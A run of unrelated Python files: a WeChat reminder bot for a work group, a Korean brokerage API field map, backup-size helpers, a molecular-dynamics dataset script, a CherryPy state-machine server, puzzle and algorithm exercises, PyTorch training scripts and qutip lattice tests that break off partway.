import time
import itchat

# 确认目前系统时间是否正常
print('\n目前系统时间为：', time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

# 登录itchat
itchat.auto_login(hotReload=True)

# 获取测试群的id
banzuqun = itchat.search_chatrooms(name=u'301')[0]['UserName']

# 获取邵帅的id
shaoshuai = itchat.search_friends(name=u'邵帅')[0]['UserName']

# 获取当日日常工作和值班表
ykmingdan = ('刘哲、杜璞', '李晓燕、潘津', '柳备、邵帅', '郭雷、周海敏',
             '刘立军、冀平', '李捍华、李肖肖', '李海洋、梁海腾')
ykricflag = ('下班前完成MIS缺陷录入、反违章检查问题填报、上周异常事件台账登记',
             '中午前完成周维护计划填报', '下班前完成周常巡检', '中午前完成缺陷分析', '无', '无', '无')

while True:
    # 8:00发送当日日常工作
    if time.strftime("%H%M", time.localtime()) == "0800":
        itchat.send(ykgongzuo, toUserName=banzuqun)
        print(ykgongzuo)
        time.sleep(61)

    # 月末提醒填报安全审核
    elif time.strftime("%H%M", time.localtime()) == "0801" \
            and int(time.strftime("%d", time.localtime())) in {27, 28, 29, 30, 31}:
        itchat.send('温馨提示：临近月末，请填报安全审核。', toUserName=banzuqun)
        print('温馨提示：临近月末，请填报安全审核。')
        time.sleep(61)

    # 周一提醒1:30召开班会
    elif time.strftime("%H%M", time.localtime()) == "1310" and int(time.strftime("%w")) == 1:
        itchat.send('温馨提示：今日周一，1:30召开班级会。', toUserName=banzuqun)
        print('温馨提示：今日周一，1:30召开班级会。')
        time.sleep(61)

    # 下班提醒工作收尾和值班
    elif time.strftime("%H%M", time.localtime()) == "1600":
        itchat.send('温馨提示：临近下班，请确认本日工作台账已登记，并记录点检日志。', toUserName=banzuqun)
        print('温馨提示：临近下班，请确认本日工作台账已登记，并记录点检日志。')
        itchat.send(ykzhiban, toUserName=banzuqun)
        print(ykzhiban)
        time.sleep(61)

    elif time.strftime("%M", time.localtime()) == "30":
        itchat.send(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), toUserName=shaoshuai)
        print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
        time.sleep(61)

    else:
        ykzhiban = '今日值班人员（默认）：' + ykmingdan[(int(time.time() / 86400) % 8) - 1]
        ykgongzuo = '今日日常工作：' + ykricflag[int(time.strftime("%w")) - 1]
        time.sleep(20)


from collections import OrderedDict

class RealType(object):
  REALTYPE = {

    '주식체결': {
        # '체결시간': 20,
        # '현재가': 10, #체결가
        # '전일대비': 11,
        # '등락율': 12,
        '(최우선)매도호가': '27',
        '(최우선)매수호가': '28',
        # '거래량': 15,
        # '누적거래량': 13,
        # '누적거래대금': 14,
        # '시가': 16,
        # '고가': 17,
        # '저가': 18,
        # '전일대비기호': 25,
        # '전일거래량대비': 26,
        # '거래대금증감': 29,
        # '전일거래량대비': 30,
        # '거래회전율': 31,
        # '거래비용': 32,
        # '체결강도': 228,
        # '시가총액(억)': 311,
        # '장구분': 290,
        # 'KO접근도': 691,
        # '상한가발생시간': 567,
        # '하한가발생시간': 568
    },

    '주식예상체결': {
        '체결시간': 20,
        '현재가': 10,  # 체결가
        '전일대비': 11,
        '등락율': 12,
        '거래량': 15,
        '누적거래량': 13,
        '전일대비기호': 25,
    },

    '장시작시간': {
        '장운영구분': 215,
        '시간': 20, #(HHMMSS)
        '장시작예상잔여시간':214
    },

    '주문체결': {
        # '계좌번호': 9201,
        '주문번호': '9203',
        # '관리자사번': 9205,
        '종목코드': '9001',
        # '주문업무분류': 912, #(jj:주식주문)
        '주문상태': '913', #(접수, 확인, 체결) (10:원주문, 11:정정주문, 12:취소주문, 20:주문확인, 21:정정확인, 22:취소확인, 90,92:주문거부) #https://bbn.kiwoom.com/bbn.openAPIQnaBbsDetail.do
        '종목명': '302',
        '주문수량': '900',
        '주문가격': '901',
        '미체결수량': '902',
        # '체결누계금액': 903,
        '원주문번호': '904',
        '주문구분': '905', #(+매수, -매도, -매도정정, +매수정정, 매수취소, 매도취소)
        '매매구분': '906', #(보통, 시장가등)
        '매도수구분': '907', # 매도(매도정정, 매도취도 포함)인 경우 1, 매수(매수정정, 매수취소 포함)인 경우 2
        '주문/체결시간': '908', #(HHMMSS)
        '체결번호': '909',
        '체결가': '910',
        '체결량': '911',
        '현재가': '10',
        '(최우선)매도호가': '27',
        '(최우선)매수호가': '28',
        # '단위체결가': 914,
        # '단위체결량': 915,
        '당일매매수수료': '938',
        '당일매매세금': '939',
        # '거부사유': 919,
        # '화면번호': 920,
        # '터미널번호': 921,
        # '신용구분(실시간 체결용)': 922,
        # '대출일(실시간 체결용)': 923,
    },

    '매도수구분': {
        '1': '매도',
        '2': '매수'
    },

    '잔고': {
        # '계좌번호': 9201,
        '종목코드': '9001',
        '종목명': '302',
        '현재가': '10',
        '보유수량': '930',
        '매입단가': '931',
        '총매입가': '932',
        '주문가능수량': '933',
        # '당일순매수량': 945,
        '매도매수구분': '946',
        # '당일총매도손익': 950,
        # '예수금': 951,
        '(최우선)매도호가': '27',
        '(최우선)매수호가': '28',
        # '기준가': 307,
        # '손익율': 8019
    }
  }

  PostProcessing = {
    '주문체결': {
        # '계좌번호': 9201,
        '주문번호': lambda x: x,
        # '관리자사번': 9205,
        '종목코드': lambda x: x[1:],
        # '주문업무분류': 912, #(jj:주식주문)
        '주문상태': lambda x: x, #(접수, 확인, 체결) (10:원주문, 11:정정주문, 12:취소주문, 20:주문확인, 21:정정확인, 22:취소확인, 90,92:주문거부) #https://bbn.kiwoom.com/bbn.openAPIQnaBbsDetail.do
        '종목명': lambda x: x.strip(),
        '주문수량': lambda x: int(x),
        '주문가격': lambda x: int(x),
        '미체결수량': lambda x: int(x),
        # '체결누계금액': 903,
        '원주문번호': lambda x: x,
        '주문구분': lambda x: x.lstrip('+').lstrip('-'), #(+매수, -매도, -매도정정, +매수정정, 매수취소, 매도취소)
        '매매구분': lambda x: x, #(보통, 시장가등)
        '매도수구분': lambda x: '매도' if x == '1' else '매수', # 매도(매도정정, 매도취소 포함)인 경우 1, 매수(매수정정, 매수취소 포함)인 경우 2
        '주문/체결시간': lambda x:x, #(HHMMSS)
        '체결번호': lambda x:x,
        '체결가': lambda x: int(x) if x != '' else 0,
        '체결량': lambda x: int(x) if x != '' else 0,
        '현재가': lambda x: abs(int(x)),
        '(최우선)매도호가': lambda x: abs(int(x)),
        '(최우선)매수호가': lambda x: abs(int(x)),
        # '단위체결가': 914,
        # '단위체결량': 915,
        '당일매매수수료': lambda x: int(x),
        '당일매매세금': lambda x: int(x),
        # '거부사유': 919,
        # '화면번호': 920,
        # '터미널번호': 921,
        # '신용구분(실시간 체결용)': 922,
        # '대출일(실시간 체결용)': 923,
    },

   '잔고': {
        # '계좌번호': 9201,
        '종목코드': lambda x: x[1:],
        '종목명': lambda x: x.strip(),
        '현재가': lambda x: abs(int(x)),
        '보유수량': lambda x: int(x),
        '매입단가': lambda x: abs(int(x)),
        '총매입가': lambda x: abs(int(x)),
        '주문가능수량': lambda x: int(x),
        # '당일순매수량': 945,
        '매도매수구분': lambda x: '매도' if x == '1' else '매수',
        # '당일총매도손익': 950,
        # '예수금': 951,
        '(최우선)매도호가': lambda x: abs(int(x)),
        '(최우선)매수호가': lambda x: abs(int(x)),
        # '기준가': 307,
        # '손익율': 8019
    },
    '주식체결': {
        # '체결시간': 20,
        # '현재가': 10, #체결가
        # '전일대비': 11,
        # '등락율': 12,
        '(최우선)매도호가': lambda x: abs(int(x)),
        '(최우선)매수호가': lambda x: abs(int(x)),
        # '거래량': 15,
        # '누적거래량': 13,
        # '누적거래대금': 14,
        # '시가': 16,
        # '고가': 17,
        # '저가': 18,
        # '전일대비기호': 25,
        # '전일거래량대비': 26,
        # '거래대금증감': 29,
        # '전일거래량대비': 30,
        # '거래회전율': 31,
        # '거래비용': 32,
        # '체결강도': 228,
        # '시가총액(억)': 311,
        # '장구분': 290,
        # 'KO접근도': 691,
        # '상한가발생시간': 567,
        # '하한가발생시간': 568
    },
  }

  def __init__(self):
    # self.build_fid_to_tag_dic()
    pass

  def build_fid_to_tag_dic(self):
    fid_to_tag_dic = {}
    for theme, dic in RealType.REALTYPE.items():
      fid_to_tag_dic[theme] = {fid:tag for tag, fid in dic.items()}
    return fid_to_tag_dic


"""
Auxiliary functions for calculation sizes of backped data blocks.
"""
import math
from pathlib import Path
from tarfile import BLOCKSIZE, LENGTH_NAME
from typing import List

def calc_aligned_files_size(files: List[Path], alignment: int = 1) -> int:
    """
    Calculate total size of files on disk with padding added after each file.
    """
    size = 0
    for file in files:
        filesize = file.stat().st_size
        remainder = filesize % alignment
        if remainder > 0:
            filesize += alignment - remainder
        size += filesize
    return size

def calc_tarball_size(file_names: List[str], aligned_files_size: int) -> int:
    """
    Calculate tarball (TAR archive) size.

    Args:
        file_names: Names of files archived in the tarball.
        aligned_files_size: Summed size of all files including padding on BLOCKSIZE boundary
            for each file.
    """
    result = aligned_files_size
    for name in file_names:
        if len(name) < LENGTH_NAME:
            result += BLOCKSIZE  # file header
        else:
            result += (
                math.ceil(len(name) / BLOCKSIZE) + 2
            ) * BLOCKSIZE  # long name header + name data + file header
    return result

def calc_encrypted_size(
    data_size: int, encrypt_chunk_size: int, encrypt_metadata_size: int
) -> int:
    """
    Calculate size of encrypted data.
    """
    return data_size + math.ceil(data_size / encrypt_chunk_size) * encrypt_metadata_size


# Used in DPLR; convert energy-force dataset to short range dataset by subtracting long range part;
# This code typically runs within a minute on a GPU
# Input a list of source datasets, output a single target dataset
# Source datasets should have the same type index; if not, run the code for each group of sets with the same type index
precision          = 'default'          # 'default'(fp32), 'low'(mixed 32-16), 'high'(fp64)
source_paths       = ['source_dataset_path'] # Path to the source data files
target_path        = 'target_dataset_path'   # Path to the target data file
wannier_model_path = 'model.pkl'        # Path to the model file
q_atoms            = [6, 1]             # charge of atomic cores, here Oxygen and Hydrogen
q_wc               = [-8]               # charge of wannier center/centroid
atomic_sel         = [0]                # type of wannier center/centroid association, here only Oxygen
beta               = 0.4                # inverse spread of the point charge distribution
resolution         = 0.2                # particle mesh grid length = resolution / beta

import numpy as np
import jax.numpy as jnp
from jax import jit, value_and_grad
import jax, datetime
import flax.linen as nn
from functools import partial
from deepmd_jax import data, utils
from deepmd_jax.dpmodel import DPModel
if precision == 'default':
    jax.config.update('jax_default_matmul_precision', 'float32')
if precision == 'high':
    jax.config.update('jax_enable_x64', True)
np.set_printoptions(precision=4, suppress=True)
print('# Program start at', datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), 'on device:', jax.devices()[:1])
model, variables = utils.load_model(wannier_model_path)
dataset = data.DPDataset(source_paths, ['coord','box','force','energy'])
dataset.compute_lattice_candidate(model.params['rcut'])
dataset.pointer = 0
batch, type_count, lattice_args = dataset.get_batch(1)
sel_type_count = tuple(np.array(type_count)[model.params['nsel']])
static_args = nn.FrozenDict({'type_count':type_count, 'lattice':lattice_args})
pred_fn = jit(model.apply, static_argnums=(3,))
qatoms = np.repeat(q_atoms, type_count)
qwc = np.repeat(q_wc, sel_type_count)
def lr_energy(coord, box, M):
    wc = model.wc_predict(variables, coord, box, static_args)
    p3mlr_fn = utils.get_p3mlr_fn(jnp.diag(box), beta, M)
    return p3mlr_fn(jnp.concatenate([coord, wc]), jnp.concatenate([qatoms, qwc])), wc
@partial(jit, static_argnums=(2,))
def lr_energy_and_force(coord, box, M):
    (e, wc), negf = value_and_grad(lr_energy, has_aux=True)(coord, box, M)
    return e, -negf, wc
dataset.pointer = 0
energy_lr, force_lr, wc = [], [], []
for i in range(dataset.nframes):
    M = utils.get_p3mlr_grid_size(np.diag(dataset.data['box'][i]), beta, resolution=resolution)
    e_lr, f_lr, wc_pred = lr_energy_and_force(dataset.data['coord'][i], dataset.data['box'][i], M)
    energy_lr.append(e_lr), force_lr.append(f_lr), wc.append(wc_pred)
energy_lr, force_lr, wc = np.array(energy_lr), np.array(force_lr), np.array(wc)
energy_full, force_full = dataset.data['energy'], dataset.data['force']
energy_sr, force_sr = energy_full - energy_lr, force_full - force_lr
utils.save_dataset(target_path, {'coord':dataset.data['coord'],
                                 'box':dataset.data['box'],
                                 'energy':energy_sr,
                                 'force':force_sr,
                                 'type': np.repeat(range(len(type_count)),type_count)})
# Print mean/std for sanity check
print('Energy (mean,std): Full (%.2f, %.2f) LR (%.2f, %.2f) SR (%.2f, %.2f) Ratio of std %.3f'
    % (energy_full.mean(), energy_full.std(), energy_lr.mean(), energy_lr.std(),
       energy_sr.mean(), energy_sr.std(), energy_sr.std()/energy_full.std()))
print('Force (mean,std): Full (%.2f, %.2f) LR (%.2f, %.2f) SR (%.2f, %.2f) Ratio of std %.3f'
    % (force_full.mean(), force_full.std(), force_lr.mean(), force_lr.std(),
         force_sr.mean(), force_sr.std(), force_sr.std()/force_full.std()))


# -*- coding: utf-8 -*-
"""
Created on Wed Apr 15 22:08:42 2020

@author: BhaveshAchhada
"""

import os
import time
import cherrypy
import json
from simple_fsm import fsm
import random

class App(object):

    def __init__(self):

        self.is_lift_idle = True
        self.has_car_arrived = False
        self.pack_detected_by_car = False
        self.current_state = None
        self.availability = random.randint(5,10)

    @cherrypy.expose
    def print_hello(self,cargo=None):
        response = {}
        response['output'] = 'Hello' if cargo == None else str(cargo)
        return json.dumps(response)

    def error_state(self, cargo):
        print('Error: ' + str(cargo))
        self.current_state = 'wait'
        return ('wait' , None)

    @cherrypy.expose
    def pack_request(self):
        if self.current_state == 'wait':
            self.current_state = 'pack_request_arrived'
        else:
            return json.dumps({'output' : 'busy'})

    def check_availability(self , cargo=None):

        # return ('available' , None) if self.availability > 0 else ('error' , 'Packs not available.')
        if self.availability > 0:
            self.current_state = 'available'
            out = ('available' , None)
            return out

        self.current_state = 'error'
        return ('error', 'Packs not available')

    def check_lift_status(self, cargo=None):

        # return ('lift_idle' , None) if self.is_lift_idle == True else ('error', 'lift is busy')
        if self.is_lift_idle == True:
            self.current_state = 'lift_idle'
            return ('lift_idle' , None)
        self.current_state = 'error'
        return ('error' , 'lift is busy')

    def check_car_status(self, cargo=None):

        # return ('car_arrived' , None) if self.has_car_arrived == True else ('error' , 'Car not ready')
        if self.has_car_arrived == True:

            self.current_state = 'car_arrived'
            return ('car_arrived' , None)

        self.current_state = 'error'
        return ('error' , 'Car not ready')

    def pick_and_drop(self, cargo = None):
        time.sleep(5)
        self.current_state = 'dropped'
        self.has_car_arrived = False
        return ('dropped' , None)

    def wait(self , cargo = None):
        # print('wait')
        return (self.current_state , None)

    def success(self, cargo = None):
        msg = 'Pack sucessfully dropped'
        print(msg)
        response = {}
        response['status'] = msg

        time.sleep(5)
        self.is_lift_idle = True
        self.current_state = 'wait'
        return ('wait' , None)

    @cherrypy.expose
    def change_car_status(self,status = None):
        if status == 'True':
            self.has_car_arrived = True
        else:
            self.has_car_arrived = False

def Start(obj):
    try:
        # print('in start method.')
        cherrypy.config.update(
            {
                'server.socket_host': '0.0.0.0',
                'server.socket_port': 11000,
                'engine.autoreload.on': False,
                'tools.cors.on': False}
            )
        cherrypy.engine.start()
        cherrypy.tree.mount(obj, '/')
        # cherrypy.engine.block()
    except:
        print('error occurred.')

    obj.current_state = 'wait'
    # print('returning from start')
    return ('wait',None)

if __name__ == '__main__':

    #pass

    obj = App()

    machine = fsm()
    machine.add_state('init', Start)
    machine.add_state('wait' , obj.wait)
    machine.add_state('pack_request_arrived' , obj.check_availability)
    machine.add_state('available' , obj.check_lift_status)
    machine.add_state('error' , obj.error_state, True)
    machine.add_state('lift_idle' , obj.check_car_status)
    machine.add_state('car_arrived' , obj.pick_and_drop)
    machine.add_state('dropped' , obj.success , True)

    # while True:
    machine.run(obj)


class Solution:
    # IMPORTANT QUESTION
    # try to follow the question logic first

    def minDays(self, n: int) -> int:
        dp_dict = {n: 0}
        queue = [n]

        while queue:
            num = queue.pop(0)
            new_num = num // 2
            if new_num:
                new_dp = dp_dict[num] + 1 + num % 2
            else:
                new_dp = dp_dict[num] + num % 2
            if new_num not in dp_dict or new_dp < dp_dict[new_num]:
                dp_dict[new_num] = new_dp
                if new_num and new_num not in queue:
                    queue.append(new_num)
            new_num = num // 3
            if new_num:
                new_dp = dp_dict[num] + 1 + num % 3
            else:
                new_dp = dp_dict[num] + num % 3
            if new_num not in dp_dict or new_dp < dp_dict[new_num]:
                dp_dict[new_num] = new_dp
                if new_num and new_num not in queue:
                    queue.append(new_num)
        return dp_dict[0]

    def dp(self, n: int) -> int:
        ans = [0 for _ in range(n+1)]
        ans[0] = 0
        for x in range(1, len(ans)):
            choice = []
            if x % 3 == 0:
                choice.append(ans[x//3] + 1)
            if x % 2 == 0:
                choice.append(ans[x//2] + 1)
            choice.append(ans[x-1] + 1)
            ans[x] = min(choice)
        return ans[-1]

    def test(self, n):
        ans = []
        for x in range(n):
            ans.append(self.minDays(x))

        print(ans)
        print(self.dp(n))
        return ans == self.dp(n)

sol = Solution()
print(sol.dp(3681069))


import random, copy

N = 9

def PrintBoard(board):
    for i in range(N):
        if i % 3 == 0:
            print("-" * 23)
        for j in range(N):
            if j % 3 == 0:
                print("|",end=" ")
            if board[i][j] == 0:
                print("_",end=" ")
            else:
                print(board[i][j],end=" ")
            if j == N-1:
                print("|",end=" ")
        print()
    print("-" * 23)
    print()

def isValid(board,i,j,num):
    block_x = i - i % 3
    block_y = j - j % 3

    for r in range(3):
        for c in range(3):
            if board[block_x+r][block_y+c] == num:
                return False

    for r in range(N):
        if board[r][j] == num:
            return False

    for c in range(N):
        if board[i][c] == num:
            return False

    return True

def solve(board,i,j):
    if i == N-1 and j == N:
        return True
    if j == N:
        i += 1
        j = 0
    if board[i][j] != 0:
        return solve(board,i,j+1)
    for num in range(1,10):
        if(isValid(board,i,j,num)):
            board[i][j] = num
            if(solve(board,i,j+1)):
                return True
        board[i][j] = 0
    return False

def verifypos(initpos,i,j):
    i = int(i); j = int(j)
    if(i < 0 or i >= N or j < 0 or j >= N):
        print("Invalid position.")
        return False
    elif (i,j) in initpos:
        print("You cannot change the value of an initialized tile.")
        return False
    else:
        return True

def generate_board():
    board = [[0 for _ in range(N)] for _ in range(N)]
    for x,y in [(0,0),(3,3),(6,6)]:
        nums = [i for i in range(1,10)]
        for i in range(3):
            for j in range(3):
                board[x+i][y+j] = random.choice(nums)
                nums.remove(board[x+i][y+j])

    solve(board,0,0)

    n = random.randint(55,60)
    r = random.randint(0,N-1); c = random.randint(0,N-1)
    for _ in range(n):
        while board[r][c] == 0:
            r = random.randint(0,N-1); c = random.randint(0,N-1)
        board[r][c] = 0

    fixedpos = set()

    for r in range(N):
        for c in range(N):
            if board[r][c] != 0:
                fixedpos.add((r,c))

    return (board,fixedpos)

def isFinished(board):
    numbers = set()

    for i in range(N):
        for j in range(N):
            if board[i][j] == 0:
                return False
            elif board[i][j] in numbers:
                return False
            else:
                numbers.add(board[i][j])
        numbers.clear()

    for i in range(N):
        for j in range(N):
            if board[j][i] == 0:
                return False
            elif board[j][i] in numbers:
                return False
            else:
                numbers.add(board[j][i])
        numbers.clear()

    for i in range(0,9,3):
        for j in range(0,9,3):
            for r in range(3):
                for c in range(3):
                    if board[i+r][j+c] == 0:
                        return False
                    elif board[i+r][j+c] in numbers:
                        return False
                    else:
                        numbers.add(board[i+r][j+c])
            numbers.clear()

    return True

def main():
    while True:
        board, initpos = generate_board()
        PrintBoard(board)
        while(not isFinished(board)):
            x, y = input("Enter a position (x,y): ").split()

            while(verifypos(initpos,x,y)==False):
                x, y = input("Please re-enter a valid position (x,y): ").split()

            number = int(input("Please enter the number [1-9] you wish to put: "))

            while(number < 1 or number > N):
                number = int(input("Invalid number. Please re-enter a number in range [1-9]."))

            board[int(x)][int(y)] = number
            PrintBoard(board)

        print("Congratulations! You have solved the sudoku.")

        replay = input("Continue to play? (Y/N)")
        while(replay.lower() not in ['y','n']):
            replay = input("Continue to play? (Y/N)")
        if replay.lower() == 'n':
            break

main()


# Date and Time
import datetime as dt

# contoh
"""
hari_ini = dt.date.today()
print(hari_ini)
print(f"Hari ini adalah hari = {hari_ini:%A}")

tanggal = dt.date(2023,7,30)
print(tanggal)
print(f"Hari ini adalah hari = {tanggal:%A}")
"""

print("Silahkan masukkan tanggal, Bulan dan tahun\n")
tanggal = int(input('Tanggal\t\t:'))
bulan   = int(input('Bulan\t\t:'))
tahun   = int(input('Tahun\t\t:'))

tanggal_lahir = dt.date(tahun, bulan, tanggal)
today = dt.date.today()
umur_hari = today - tanggal_lahir
umur_tahun = umur_hari.days // 365
umur_bulan = (umur_hari.days % 365) // 30

print(f"Tanggal Lahir Anda: {tanggal_lahir}")
print(f"Tanggal Lahir Anda: {tanggal_lahir:%A}")
print(f"Umur Anda (Hari):{umur_hari}")
print(f"Umur Anda (Tahun):{umur_tahun}")
print(f"Umur Anda (Bulan):{umur_bulan}")


import torch
import matplotlib.pyplot as plt
from load_data import load_data
import torch.utils.data as Data
from sklearn import preprocessing

torch.manual_seed(1)    # reproducible

# parameters
BATCH_SIZE = 128
EPOCH_NUM = 10

# load data
train_dataset, test_dataset = load_data()

# mini-batch
loader = Data.DataLoader(
    dataset=train_dataset,      # torch TensorDataset format
    batch_size=BATCH_SIZE,      # mini batch size
    shuffle=True,               # random shuffle for training
    num_workers=2,              # subprocesses for loading data
)

# define the model
net = torch.nn.Sequential(
                    torch.nn.Linear(28, 200),
                    torch.nn.ReLU(),
                    torch.nn.Linear(200, 3)
                    # torch.nn.ReLU(),
                    # torch.nn.Linear(100, 3),
)

# define the optimizer
optimizer = torch.optim.Adam(net.parameters(), lr=0.02)

# define the loss
loss_func = torch.nn.CrossEntropyLoss()

if __name__ == '__main__':
    # train the model
    for epoch in range(EPOCH_NUM):
        for step, (batch_x, batch_y) in enumerate(loader):
            out = net(batch_x)
            loss = loss_func(out, batch_y)
            optimizer.zero_grad()  # clear gradients for next train
            loss.backward()  # backpropagation, compute gradients
            optimizer.step()  # apply gradients
        print('epoch: {}, loss: {:.4}'.format(epoch, loss.data.item()))

    test_loader = Data.DataLoader(
        dataset=test_dataset,  # torch TensorDataset format
        batch_size=BATCH_SIZE,  # mini batch size
        shuffle=True,  # random shuffle for training
        num_workers=2,  # subprocesses for loading data
    )

    ## save the model
    PATH = 'D:/科研/碧月课题/代码/BPNN_Baseline/saved_model/model_GY02.pkl'
    torch.save(net, PATH)

    ## evaluate the model
    net.eval()
    eval_loss = 0
    eval_acc = 0
    for batch in test_loader:
        data, label = batch
        out = net(data)
        loss = loss_func(out, label)
        eval_loss += loss.data.item() * label.size(0)
        _, pred = torch.max(out, 1)
        num_correct = (pred == label).sum()
        eval_acc += num_correct.item()
    print('Test Loss: {:.6f}, Acc: {:.6f}'.format(
        eval_loss / (len(test_dataset)),
        eval_acc / (len(test_dataset))
    ))


def mergeSort(arr, size):
    temp = [0 for i in range(size)]
    return _mergeSort(arr, temp, 0, size - 1)
def _mergeSort(arr, temp, left, right):
    mid, count = 0, 0
    if right > left:
        mid = (right + left) // 2
        count = _mergeSort(arr, temp, left, mid)
        count += _mergeSort(arr, temp,mid + 1, right)
        count += mergeHelper(arr, temp, left,mid + 1, right)
    return count
def mergeHelper(arr, temp, left, mid, right):
    count = 0
    i = left
    j = mid
    k = left
    while i <= mid - 1 and j <= right:
        if arr[i] <= 2 * arr[j]:
            i += 1
        else:
            count += (mid - i)
            j += 1

    i = left
    j = mid
    k = left

    while i <= mid - 1 and j <= right:
        if arr[i] > arr[j]:
            temp[k] = arr[j]
            k += 1
            j += 1
        else:
            temp[k] = arr[i]
            k += 1
            i += 1
    while i <= mid - 1:
        temp[k] = arr[i]
        i += 1
        k += 1

    while j <= right:
        temp[k] = arr[j]
        j, k = j + 1, k + 1
    for i in range(left, right + 1):
        arr[i] = temp[i]
    return count

arr = [9,15,4,17,12,10,5,3]
print(mergeSort(arr, len(arr)))


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def recaman(n):

    seq = [0]
    for i in range(1, n):

        x = seq[i-1] - i

        if (x >= 0 and x not in seq):
            seq += [x]
        else:
            seq += [seq[i-1] + i]

    return seq

print(recaman(20))


import torch
from PytorchNetwork import VisionEncoder, VisionDecoder, PositionEstimator, VisionEdgeDecoder
from TrainingFunction import train
from EvaluationFunction import evaluateModel
import matplotlib.pyplot as plt

saveIt = -1
encoderSavePath = "../SavedModel/VisionEncoderModel"
decoderSavePath = "../SavedModel/VisionDecoderModel"
posEstSavePath = "../SavedModel/PositionEstimatorModel"
edgeDecoderSavePath = "../SavedModel/VisionEdgeDecoderModel"

visionEncoderModel = VisionEncoder().cuda()
visionDecoderModel = VisionDecoder().cuda()
positionEstimator = PositionEstimator().cuda()
visionEdgeDecoderModel = VisionEdgeDecoder().cuda()

if (saveIt >= 0):
    visionEncoderModel.load_state_dict(torch.load(encoderSavePath + str(saveIt)))
    visionDecoderModel.load_state_dict(torch.load(decoderSavePath + str(saveIt)))
    positionEstimator.load_state_dict(torch.load(posEstSavePath + str(saveIt)))
    visionEdgeDecoderModel.load_state_dict(torch.load(edgeDecoderSavePath + str(saveIt)))

nbIteration = 1000
batchSize = 50
#lr = 1e-4
t1 = 10000

multitask = {'autoEncoder':True, 'posEstimator':True, 'edgeDecoder':True}

lossList, lossList2, lossList3 = train(visionEncoderModel, visionDecoderModel, positionEstimator, visionEdgeDecoderModel, nbIteration, batchSize, t1, multitask)

torch.save(visionEncoderModel.state_dict(), encoderSavePath + str(saveIt + 1))
torch.save(visionDecoderModel.state_dict(), decoderSavePath + str(saveIt + 1))
torch.save(positionEstimator.state_dict(), posEstSavePath + str(saveIt + 1))
torch.save(visionEdgeDecoderModel.state_dict(), edgeDecoderSavePath + str(saveIt + 1))

plt.plot(lossList)
plt.show()

plt.plot(lossList2)
plt.show()

plt.plot(lossList3)
plt.show()

evaluateModel(visionEncoderModel, visionDecoderModel, visionEdgeDecoderModel)


import numpy as np
import pytest
import qutip

_r2 = np.sqrt(2)

def _assert_angles_close(test, expected, atol):
    """Assert that two arrays of angles are within tolerance of each other."""
    np.testing.assert_allclose(test % (2*np.pi), expected % (2*np.pi),
                               atol=atol)

def _hamiltonian_expected(cells, periodic, sites_per_cell,
                          freedom):
    """Expected Hamiltonian for the simple 1D lattice model"""
    # Within the cell, adjacent sites hop to each other, and it's always
    # non-periodic.
    cell = qutip.qdiags([-np.ones(sites_per_cell - 1)]*2, [1, -1])
    # To hop to the cell one to the left, then you have to drop from the lowest
    # in-cell location to the highest in the other.
    hop_left = qutip.qdiags(np.ones(cells - 1), 1)
    if periodic and cells > 2:
        # If cells <= 2 then all cells border each other anyway.
        hop_left += qutip.qdiags([1], -(cells - 1))
    drop_site = -qutip.projection(sites_per_cell, sites_per_cell-1, 0)
    if np.prod(freedom) != 1:
        # Degenerate degrees of freedom per lattice site are unchanged.
        identity = qutip.qeye(freedom)
        cell = qutip.tensor(cell, identity)
        drop_site = qutip.tensor(drop_site, identity)
    out = (qutip.tensor(qutip.qeye(cells), cell)
           + qutip.tensor(hop_left, drop_site)
           + qutip.tensor(hop_left, drop_site).dag())
    # Contract scalar spaces.
    dims = [x for x in [cells, sites_per_cell] + freedom
            if x != 1]
    dims = dims or [1]
    out.dims = [dims, dims]
    return out

def _k_expected(cells):
    out = (2*np.pi/cells) * np.arange(-(cells//2), cells - (cells//2))
    return out.reshape((-1, 1))

def _ssh_lattice(intra, inter,
                 cells=5, boundary="periodic", sites_per_cell=2,
                 freedom=[1]):
    part_hamiltonian = qutip.Qobj(np.array([[0, intra], [intra, 0]]))
    free_identity = qutip.qeye(freedom)
    hamiltonian = qutip.tensor(part_hamiltonian, free_identity)
    hopping = qutip.tensor(qutip.Qobj(np.array([[0, 0], [inter, 0]])),
                           free_identity)
    return qutip.Lattice1d(num_cell=cells, boundary=boundary,
                           cell_num_site=sites_per_cell,
                           cell_site_dof=freedom,
                           Hamiltonian_of_cell=hamiltonian,
                           inter_hop=hopping)

# Energies for the SSH model with 4 cells, 2 orbitals and 2 spins, with
# intra=-0.5 and inter=-0.6.
_ssh_energies = np.array([0.1, 0.55677644, 0.9539392,
                          1.1, 0.9539392,  0.55677644])

def _crow_lattice(coupling, phase_delay,
                  cells=4, boundary="periodic", sites_per_cell=1,
                  freedom=[2]):
    r"""
    Return a `qutip.Lattice1d` of a "Coupled Resonator Optical Waveguide"
    (CROW) with the given coupling strength and phase delay.

    See for example: https://www.doi.org/10.1103/PhysRevB.99.224201
    where `coupling` is $J$ and `phase_delay` is $\eta$.
    """
    cell_hamiltonian = coupling * np.sin(phase_delay) * qutip.sigmax()
    phase_term = np.exp(1j * phase_delay)
    hopping = [
        0.5 * coupling * qutip.qdiags([phase_term, phase_term.conj()], 0),
        0.5 * coupling * qutip.sigmax(),
    ]
    return qutip.Lattice1d(num_cell=cells, boundary=boundary,
                           cell_num_site=sites_per_cell,
                           cell_site_dof=freedom,
                           Hamiltonian_of_cell=cell_hamiltonian,
                           inter_hop=hopping)

class TestLattice1d:
    @pytest.mark.parametrize("cells", [1, 2, 3])
    @pytest.mark.parametrize("periodic", [True, False],
                             ids=["periodic", "aperiodic"])
    @pytest.mark.parametrize("sites_per_cell", [1, 2])
    @pytest.mark.parametrize("freedom", [[1], [2, 3]],
                             ids=["simple chain", "onsite freedom"])
    def test_hamiltonian(self, cells, periodic, sites_per_cell, freedom):
        """Test that the lattice model produces the expected Hamiltonians."""
        boundary = "periodic" if periodic else "aperiodic"
        lattice = qutip.Lattice1d(num_cell=cells, boundary=boundary,
                                  cell_site_dof=freedom,
                                  cell_num_site=sites_per_cell)
        expected = _hamiltonian_expected(cells, periodic, sites_per_cell,
                                         freedom)
        assert lattice.Hamiltonian() == expected

    def test_cell_structures(self):
        val_s = ['site0', 'site1']
        val_t = [' orb0', 'orb1']
        H_cell_form, inter_cell_T_form, H_cell, inter_cell_T =\
            qutip.cell_structures(val_s, val_t)
